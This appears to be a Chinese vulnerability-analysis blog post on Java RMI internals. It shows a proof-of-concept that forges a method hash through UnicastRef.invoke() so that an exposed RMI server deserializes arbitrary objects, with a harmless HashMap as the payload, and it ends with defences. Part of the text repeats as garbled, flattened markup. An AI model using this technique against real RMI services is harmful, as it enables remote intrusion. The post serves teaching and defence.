RMI Remote Object反序列化攻击
字数 6940 2023-02-25 23:56:31

RMI Remote Object反序列化攻击

RMI通过序列化/反序列化传递对象信息,客户端发送的数据是否可控?服务端反序列化对象时是否有风险?本文将简单分析这些过程并说明其中的攻击点。

RMI概览

本地的ava程序 调用 远程Java程序 的类和方法,在调用过程中类对象会进行传递,远程Java服务执行完毕后将结果返回。整个过程给程序员的感觉就像在本地调用一样。这就是RMI (Remote Method Invocation)。

更多详细的可参考这篇文章。本节仅粗浅介绍RMI。

Demo:
Server端代码包含三个部分:

  1. Registry类,用于开放RMI查询端口。其功能是为所有注册的服务类提供路由
  2. 远程对象类(Remote Object),用于提供RMI远程对象,被客户端所使用的类
  3. 远程对象的接口,所有服务类都需要实现各自的远程对象类接口。

远程对象接口 MyService

public interface MyService extends Remote { //接口需要继承Remote
    public String printHello(String hello) throws RemoteException;
}

远程对象类 MyServiceImpl

//继承UnicastRemoteObject并且实现其接口MyService
public class MyServiceImpl extends UnicastRemoteObject implements MyService {
    //远程对象类的所有方法都需要抛出RemoteException
    public MyServiceImpl() throws RemoteException {
    }
<span class="hljs-meta" style="box-sizing: border-box; color: rgb(43, 145, 175);">@Override</span>
<span class="hljs-function" style="box-sizing: border-box;"><span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">public</span> String <span class="hljs-title" style="box-sizing: border-box; color: rgb(163, 21, 21);">printHello</span><span class="hljs-params" style="box-sizing: border-box;">(String hello)</span> <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">throws</span> RemoteException </span>{
    System.out.println(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"[Server] "</span> + hello);
    <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> hello;
}

}

Registry类 RmiServer

public class RmiServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyService myService = new MyServiceImpl();
registry.bind("myService", myService);
}
}

Client端代码包含两个部分:

  1. 远程对象类的接口,需要从Server端复制一份。以便和Server端统一,以此保证本地调用时不会报"找不到类"的错误。
  2. 调用类,根据本地的远程对象类接口调用Server端的远程对象类。

远程对象类接口 MyService

//该接口需要从Server端取得
//正常的RMI程序都会在Server端和Client放置远程对象类接口的
public interface MyService extends Remote {
public String printHello(String hello) throws RemoteException;
}

调用类 App

public class App
{
public static void main( String[] args ) throws Exception
{
MyService lookup = (MyService) Naming.lookup("rmi://127.0.0.1:1099/myService");
String helloWorld = lookup.printHello("helloWorld");
System.out.printf("[Client] " + helloWorld);
}
}

运行时先运行Server端的RmiServer,然后再运行Client端的App,将会得到如下结果:

下面简单梳理下RMI之间通信的流程。

RMI流程梳理

官方文档有对RMI流程进行简单的说明,并且给出了流程的三个主要步骤:

  1. "路由远程对象(Locate remote objects)"
  2. "远程对象通信(Communicate with remote objects)"
  3. "类加载及传输(Load class definitions for objects that are passed around)"

下面跟进RMI代码看看整个流程是什么样的,代码依然用前文的作Demo。
调试的JDK版本: 11.0.3

路由远程对象

Server端RmiServer代码中,LocateRegistry.createRegistry(1099)会开启一个监听端口为1099的rmiregistry作为remote object的路由。

registry.bind("myService", myService);会创建一个监听端口随机的remote object,并将这个remtoe object注册到rmiregistry中。

public class RmiServer {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
MyService myService = new MyServiceImpl();
registry.bind("myService", myService);
}
}

Client端调用了Naming.lookup()后,将会在sun.rmi.registry.RegistryImpl_Stub.lookup()发起一次对rmiregistry的RMI请求,目的是查询指定remote object的地址。

public Remote lookup(String \(param_String_1){ //构建请求参数 RemoteCall call = ref.newCall((RemoteObject) this, operations, 2, interfaceHash); ObjectOutput out = call.getOutputStream(); out.writeObject(\)param_String_1);
//发起RMI请求
ref.invoke(call);
.....
}

Server端会在 sun.rmi.server.UnicastServerRef.dispatch()接收RMI请求,并发配给sun.rmi.registry.RegistryImpl_Skel.dispatch()处理

UnicastServerRef

public void dispatch(Remote obj, RemoteCall call) {
in = call.getInputStream();
num = in.readInt();
if (skel != null) {
// If there is a skeleton, use it
oldDispatch(obj, call, num);
return;
}
......
}

private void oldDispatch(Remote obj, RemoteCall call, int op){
in = call.getInputStream();
.....
skel.dispatch(obj, call, op, hash);
}

RegistryImpl_Skel会根据remote object的名字,查询对应的remote object

RegistryImpl_Skel

public void dispatch(Remote obj, RemoteCall call, int opnum, long hash){
switch (opnum) {
.....
case 2: // lookup(String)
{
//获取remote object名字
ObjectInput in = call.getInputStream();
\(param_String_1 = (String) in.readObject(); //查询是否有注册该remote object Remote \)result = server.lookup(\(param_String_1); //若存在,写入RemoteCall中由上级调用返回 ObjectOutput out = call.getResultStream(true); //封装remote object信息 out.writeObject(\)result);
break;
}
.....
}
}

查询到remote object后,会调用out.writeObject(\(result);封装 remote object,该方法会在java.io.ObjectOutputStream.writeObject0()remote object通过Stub进行对象代理。最后写入到序列化流的是被对象代理过的remote object

private void writeObject0(Object obj, boolean unshared){ if (enableReplace) { //对象代理 Object rep = replaceObject(obj); if (rep != obj && rep != null) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true); } obj = rep; } ...... } 

Client端将在sun.rmi.registry.RegistryImpl_Stub.lookup()将回传信息转换成Remote类型。此时路由远程对象基本结束。

public Remote lookup(String \)param_String_1){
.....
//发送RMI请求
ref.invoke(call);
//获取Server端回传信息
java.io.ObjectInput in = call.getInputStream();
\(result = (Remote) in.readObject(); ref.done(call); return \)result;
}

远程对象通信&类加载及传输

Client端在通过lookup()得到远程对象的信息后,实际上拿到的是一个Proxy代理对象。调用代理对象的任意方法都会触发其InvocationHandlerinvoke()方法。所以Client端的第二行代码实际上是调用了java.rmi.server.RemoteObjectInvocationHandler.invoke()

MyService lookup = (MyService) Naming.lookup("rmi://127.0.0.1:1099/myService");
String helloWorld = lookup.printHello("helloWorld");

RemoteObjectInvocationHandler.invoke()最终会调用sun.rmi.server.UnicastRef.invoke(),Client端在这里构建调用远程方法所需要的参数:

UnicastRef

public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
{

Connection conn = ref.getChannel().newConnection();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//将`-1`和`opnum`的值写入StreamRemoteCall</span>
call = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> StreamRemoteCall(conn, ref.getObjID(), -<span class="hljs-number" style="box-sizing: border-box;">1</span>, opnum);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//根据调用方法的参数个数和类型</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//将传递的形参序列化写入StreamRemoteCall</span>
ObjectOutput out = call.getOutputStream();
Class&lt;?&gt;[] types = method.getParameterTypes();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">for</span> (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">int</span> i = <span class="hljs-number" style="box-sizing: border-box;">0</span>; i &lt; types.length; i++) {
    marshalValue(types[i], params[i], out);
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//发送RMI请求</span>
call.executeCall();
.....

}

其中invoke()的四个形参都各自具有意义:

  • Remote obj: 路由远程对象时Server端返回的经Proxy封装过的Remote对象
  • Method method: 调用方法的Method对象。由于Client端也有远程对象的接口拷贝,所以可以通过反射获取对应方法的Method对象
  • Object[] params: 传递给调用方法的形参,该值将会在Server端被反序列化
  • long opnum: 调用方法的"Hash值",该值通过RemoteObjectInvocationHandler.getMethodHash()计算,用于确保双方方法是一致的。

Server端sun.rmi.server.UnicastServerRef.dispatch()对Client的请求进行处理:

UnicastServerRef

public void dispatch(Remote obj, RemoteCall call) {
in = call.getInputStream();
num = in.readInt();
//执行lookup时请求skel获得Remote Object的真实地址
//在远程对象通信阶段,skel为空
if (skel != null) {
oldDispatch(obj, call, num);
return;
}

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//读取方法Hash值,Client调用的方法需要和Server端匹配才会允许调用</span>
op = in.readLong();
MarshalInputStream marshalStream = (MarshalInputStream) in;
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//RMI在注册时就将Method存入一个HashMap中,方法Hash作键</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//Server直接用Client传来的方法Hash拿到对应的Method</span>
Method method = hashToMethod_Map.get(op);

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//获取调用方法的形参</span>
Class&lt;?&gt;[] types = method.getParameterTypes();
Object[] params = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> Object[types.length];

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//设置反序列化filter</span>
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//但在远程对象通信阶段,filter为null,并不会设置反序列化filter</span>
unmarshalCustomCallData(in);

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//若调用方法有形参,对`in`执行反序列化,存入`params`中</span>
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">for</span> (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">int</span> i = <span class="hljs-number" style="box-sizing: border-box;">0</span>; i &lt; types.length; i++) {
    params[i] = unmarshalValue(types[i], in);
}

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//调用对应的方法,并将返回值存在`result`中</span>
result = method.invoke(obj, params);
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//把`result`写入`call`的序列化流中</span>
ObjectOutput out = call.getResultStream(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
Class&lt;?&gt; rtype = method.getReturnType();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">if</span> (rtype != <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">void</span>.class) {
    marshalValue(rtype, result, out);
}
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//利用`call`将数据发送给Client端</span>
call.releaseInputStream();
call.releaseOutputStream();

}

Client端接收返回值后也将会返回值return回调用端

UnicastRef

public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
{
.....
//发送RMI请求
call.executeCall();

<span class="hljs-comment" style="box-sizing: border-box; color: green;">//接受Server端返回数据</span>
Class&lt;?&gt; rtype = method.getReturnType();
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">if</span> (rtype == <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">void</span>.class)
    <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">null</span>;
ObjectInput in = call.getInputStream();
<span class="hljs-comment" style="box-sizing: border-box; color: green;">//反序列化返回值</span>
Object returnValue = unmarshalValue(rtype, in);
<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">return</span> returnValue;

}

至此一个基本的RMI调用流程就是这样,我们需要先对RMI的流程有所了解之后,才方便后续漏洞的理解。

攻击一个暴露的 RMI Registry 端口的方式,最常见的是在 远程对象通信 利用RMI处理远程对象时打反序列化。其次还有利用JDK低版本在 服务查询阶段 的缺陷打反序列化的,这部分 这篇文章 讲的挺清楚了,本文不再赘述。

RMI处理远程对象时打反序列化

调试的JDK版本: 11.0.3

攻击方式:

看完前文的流程,不难发现Server端在 远程对象通信 时,会反序列化Client端发送的方法参数,而且没有限制。我们是否能控制发送的方法参数呢?根据前文分析Client端发起 远程对象通信 的代码可发现,主要是靠 UnicastRef#invoke()发起请求的。我们尝试手工调用这个方法:

TestPoc

package org.example;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import sun.rmi.server.UnicastRef;

public class TestPoc
{
public static void main( String[] args ) throws Exception
{
//路由远程对象,拿到Server端返回的Remote
MyService lookup = (MyService)Naming.lookup("rmi://127.0.0.1:1099/myService");

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//由于`UnicastRef#invoke()`需要四个形参,其类型分别为</span>
    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//Remote 可以直接用`lookup`</span>
    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//Method 反射接口,拿到调用方法的Method对象即可</span>
    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//Object[] 调用方法的参数,也就是让Server端反序列化的payload</span>
    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//long 调用方法的Hash,需要手工调用`RemoteObjectInvocationHandler#getMethodHash()`获得</span>

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//第一步,获取UnicastRef,利用已有的UnicastRef实例调用invoke()方法</span>
    Class&lt;Proxy&gt; proxyClass = Proxy.class;
    Field h = proxyClass.getDeclaredField(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"h"</span>);
    h.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
    InvocationHandler invocationHandler = (InvocationHandler) h.get(lookup);

    Class remoteObjectClass = RemoteObject.class;
    Field ref = remoteObjectClass.getDeclaredField(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"ref"</span>);
    ref.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
    UnicastRef unicastRef = (UnicastRef)ref.get(invocationHandler);

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//第二步,拿到调用方法的Method对象</span>
    Class myServiceClass = MyService.class;
    Method printHello = myServiceClass.getMethod(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"printHello"</span>, String.class);

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//第三步,拿到调用方法的Hash</span>
    Class remoteObjectInvocationHandlerClass = RemoteObjectInvocationHandler.class;
    RemoteObjectInvocationHandler remoteObjectInvocationHandler = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> RemoteObjectInvocationHandler(unicastRef);
    Method getMethodHash = remoteObjectInvocationHandlerClass.getDeclaredMethod(<span class="hljs-string" style="box-sizing: border-box; color: rgb(163, 21, 21);">"getMethodHash"</span>, Method.class);
    getMethodHash.setAccessible(<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">true</span>);
    <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">long</span> methodHash = (<span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">long</span>) getMethodHash.invoke(remoteObjectInvocationHandler, printHello);

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//第四步,构造Payload,这里作为演示仅构造一个HashMap</span>
    HashMap payload = <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> HashMap&lt;&gt;();

    <span class="hljs-comment" style="box-sizing: border-box; color: green;">//最终手工调用`UnicastRef#invoke()`</span>
    unicastRef.invoke(lookup, printHello, <span class="hljs-keyword" style="box-sizing: border-box; color: rgb(0, 0, 255);">new</span> Object[]{payload}, methodHash);
}

}

其中lookup是一个代理对象,其结构如下:

手工调用 UnicastRef#invoke()的好处是:不需要理会实际调用接口方法的形参类型,因为检测类型一致是根据方法Hash判断的,方法Hash可伪造,所以哪怕类型不符也能让Server端反序列化payload。

实际测试打Server端,形参类型是String,但确实能顺利反序列化HashMap。

现成利用工具

当然这种方式已经有人做成工具了,工具名rmiscout。readMe中也有说明用法,下面简单使用下:

利用范围和防御

由于方法参数类型多种,所以默认RMI Registry的反序列化Filter是不会起作用的。换言之只要是默认的RMI配置,暴露的RMI端口并且有一个方法形参类型是对象,就一定能利用成功。

那该如何防御呢?简单来说有这几种方法:

  1. 方法的形参能不传对象就不传对象
  2. 为RMI设置鉴权,仅让可信的主机连接,甚至使用SSL,具体可参考文章

简单来说就是设置一个java.security.policy,里面通过java.net.SocketPermission设置IP白名单

只有白名单内的主机才能正常访问

其他地址请求将会被拒绝

  1. 设置反序列化白/黑名单,具体可参考 文章

简单来说就是设置一个jdk.serialFilter

Reference

Remote Method Invocation (RMI)
浅谈Java RMI Registry安全问题
java远程代码注入_Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 )
Sample Code Illustrating a Secure RMI Connection
Serialization Filtering

  •  发表于 2021-08-31 18:26:41
  •  
  • 阅读 ( 749 )
  •  
  • 分类:漏洞分析
 

} Registry类 RmiServer public class RmiServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry( 1099 ); MyService myService = new MyServiceImpl(); registry.bind( "myService" , myService); } } Client端代码包含两个部分: 远程对象类的接口,需要从Server端复制一份。以便和Server端统一,以此保证本地调用时不会报"找不到类"的错误。 调用类,根据本地的远程对象类接口调用Server端的远程对象类。 远程对象类接口 MyService //该接口需要从Server端取得 //正常的RMI程序都会在Server端和Client放置远程对象类接口的 public interface MyService extends Remote { public String printHello (String hello) throws RemoteException ; } 调用类 App public class App { public static void main ( String[] args ) throws Exception { MyService lookup = (MyService) Naming.lookup( "rmi://127.0.0.1:1099/myService" ); String helloWorld = lookup.printHello( "helloWorld" ); System.out.printf( "[ Client] " + helloWorld); } } 运行时先运行Server端的 RmiServer ,然后再运行Client端的 App ,将会得到如下结果: 下面简单梳理下RMI之间通信的流程。 RMI流程梳理 官方文档 有对RMI流程进行简单的说明,并且给出了流程的三个主要步骤: "路由远程对象(Locate remote objects)" "远程对象通信(Communicate with remote objects)" "类加载及传输(Load class definitions for objects that are passed around)" 下面跟进RMI代码看看整个流程是什么样的,代码依然用前文的作Demo。 调试的JDK版本: 11.0.3 路由远程对象 Server端 RmiServer 代码中, LocateRegistry.createRegistry(1099) 会开启一个监听端口为1099的 rmiregistry 作为 remote object 的路由。 而 registry.bind("myService", myService); 会创建一个监听端口随机的 remote object ,并将这个 remtoe object 注册到 rmiregistry 中。 public class RmiServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry( 1099 ); MyService myService = new MyServiceImpl(); registry.bind( "myService" , myService); } } 在 Client端 调用了 Naming.lookup() 后,将会在 sun.rmi.registry.RegistryImpl_ Stub.lookup() 发起一次对 rmiregistry 的RMI请求,目的是查询指定 remote object 的地址。 public Remote lookup (String $param_ String_ 1) { //构建请求参数 RemoteCall call = ref.newCall((RemoteObject) this , operations, 2 , interfaceHash); ObjectOutput out = call.getOutputStream(); out.writeObject($param_ String_ 1); //发起RMI请求 ref.invoke(call); ..... } 而 Server端 会在   sun.rmi.server.UnicastServerRef.dispatch() 接收RMI请求,并发配给 sun.rmi.registry.RegistryImpl_ Skel.dispatch() 处理 UnicastServerRef public void dispatch (Remote obj, RemoteCall call) { in = call.getInputStream(); num = in.readInt(); if (skel != null ) { // If there is a skeleton, use it oldDispatch(obj, call, num); return ; } ...... } private void oldDispatch (Remote obj, RemoteCall call, int op) { in = call.getInputStream(); ..... skel.dispatch(obj, call, op, hash); } RegistryImpl_ Skel 会根据 remote object 的名字,查询对应的 remote object 。 RegistryImpl_ Skel public void dispatch (Remote obj, RemoteCall call, int opnum, long hash) { switch (opnum) { ..... case 2 : // lookup(String) { //获取remote object名字 ObjectInput in = call.getInputStream(); $param_ String_ 1 = (String) in.readObject(); //查询是否有注册该remote object Remote $result = server.lookup($param_ String_ 1); //若存在,写入RemoteCall中由上级调用返回 ObjectOutput out = call.getResultStream( true ); //封装remote object信息 out.writeObject($result); break ; } ..... } } 查询到 remote object 后,会调用 out.writeObject($result); 封装   remote object ,该方法会在 java.io.ObjectOutputStream.writeObject0() 将 remote object 通过 Stub 进行对象代理。最后写入到序列化流的是被对象代理过的 remote object private void writeObject0 (Object obj, boolean unshared) { if (enableReplace) { //对象代理 Object rep = replaceObject(obj); if (rep != obj &amp;&amp; rep != null ) { cl = rep.getClass(); desc = ObjectStreamClass.lookup(cl, true ); } obj = rep; } ...... } Client端 将在 sun.rmi.registry.RegistryImpl_ Stub.lookup() 将回传信息转换成 Remote 类型。此时路由远程对象基本结束。 public Remote lookup (String $param_ String_ 1) { ..... //发送RMI请求 ref.invoke(call); //获取Server端回传信息 java.io.ObjectInput in = call.getInputStream(); $result = (Remote) in.readObject(); ref.done(call); return $result; } 远程对象通信&amp;类加载及传输 Client端 在通过 lookup() 得到远程对象的信息后,实际上拿到的是一个 Proxy 代理对象。调用代理对象的任意方法都会触发其 InvocationHandler 的 invoke() 方法。所以Client端的第二行代码实际上是调用了 java.rmi.server.RemoteObjectInvocationHandler.invoke() MyService lookup = (MyService) Naming.lookup( "rmi://127.0.0.1:1099/myService" ); String helloWorld = lookup.printHello( "helloWorld" ); RemoteObjectInvocationHandler.invoke() 最终会调用 sun.rmi.server.UnicastRef.invoke() ,Client端在这里构建调用远程方法所需要的参数: UnicastRef public Object invoke (Remote obj, Method method, Object[ ] params, long opnum) { } 其中 invoke() 的四个形参都各自具有意义: Remote obj : 路由远程对象时Server端返回的经 Proxy 封装过的 Remote 对象 Method method : 调用方法的 Method 对象。由于Client端也有远程对象的接口拷贝,所以可以通过反射获取对应方法的 Method 对象 Object[] params : 传递给调用方法的形参, 该值将会在Server端被反序列化 long opnum : 调用方法的"Hash值",该值通过 RemoteObjectInvocationHandler.getMethodHash() 计算,用于确保双方方法是一致的。 Server端 在 sun.rmi.server.UnicastServerRef.dispatch() 对Client的请求进行处理: UnicastServerRef public void dispatch (Remote obj, RemoteCall call) { in = call.getInputStream(); num = in.readInt(); //执行lookup时请求skel获得Remote Object的真实地址 //在远程对象通信阶段,skel为空 if (skel != null ) { oldDispatch(obj, call, num); return ; } } Client端 接收返回值后也将会返回值 return 回调用端 UnicastRef public Object invoke (Remote obj, Method method, Object[ ] params, long opnum) { ..... //发送RMI请求 call.executeCall(); } 至此一个基本的RMI调用流程就是这样,我们需要先对RMI的流程有所了解之后,才方便后续漏洞的理解。 攻击一个暴露的 RMI Registry 端口的方式,最常见的是在   远程对象通信   利用RMI处理远程对象时打反序列化。其次还有利用JDK低版本在   服务查询阶段   的缺陷打反序列化的,这部分   这篇文章   讲的挺清楚了,本文不再赘述。 RMI处理远程对象时打反序列化 调试的JDK版本: 11.0.3 攻击方式: 看完前文的流程,不难发现Server端在   远程对象通信   时,会 反序列化 Client端发送的 方法参数 ,而且没有限制。我们是否能控制发送的 方法参数 呢?根据前文分析Client端发起   远程对象通信   的代码可发现,主要是靠   UnicastRef#invoke() 发起请求的。我们尝试手工调用这个方法: TestPoc package org.example; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; import java.rmi.Naming; import java.rmi.server.RemoteObject; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.HashMap; import sun.rmi.server.UnicastRef; public class TestPoc { public static void main ( String[] args ) throws Exception { //路由远程对象,拿到Server端返回的Remote MyService lookup = (MyService)Naming.lookup( "rmi://127.0.0.1:1099/myService" ); } 其中 lookup 是一个代理对象,其结构如下: 手工调用   UnicastRef#invoke() 的好处是:不需要理会实际调用接口方法的 形参类型 ,因为检测类型一致是根据方法Hash判断的,方法Hash可伪造,所以哪怕类型不符也能让Server端反序列化payload。 实际测试打Server端,形参类型是String,但确实能顺利反序列化HashMap。 现成利用工具 当然这种方式已经有人做成工具了,工具名 rmiscout 。readMe中也有说明用法,下面简单使用下: 利用范围和防御 由于方法参数类型多种,所以默认RMI Registry的反序列化Filter是不会起作用的。换言之只要是默认的RMI配置,暴露的RMI端口并且有一个方法形参类型是对象,就一定能利用成功。 那该如何防御呢?简单来说有这几种方法: 方法的形参能不传对象就不传对象 为RMI设置鉴权,仅让可信的主机连接,甚至使用SSL,具体可参考 文章 简单来说就是设置一个 java.security.policy ,里面通过 java.net.SocketPermission 设置IP白名单 只有白名单内的主机才能正常访问 其他地址请求将会被拒绝 设置反序列化白/黑名单,具体可参考   文章 简单来说就是设置一个 jdk.serialFilter Reference Remote Method Invocation (RMI) 浅谈Java RMI Registry安全问题 java远程代码注入_ Java RMI远程反序列化任意类及远程代码执行解析(CVE-2017-3241 ) Sample Code Illustrating a Secure RMI Connection Serialization Filtering   发表于 2021-08-31 18:26:41   阅读 ( 749 )   分类: 漏洞分析 0 推荐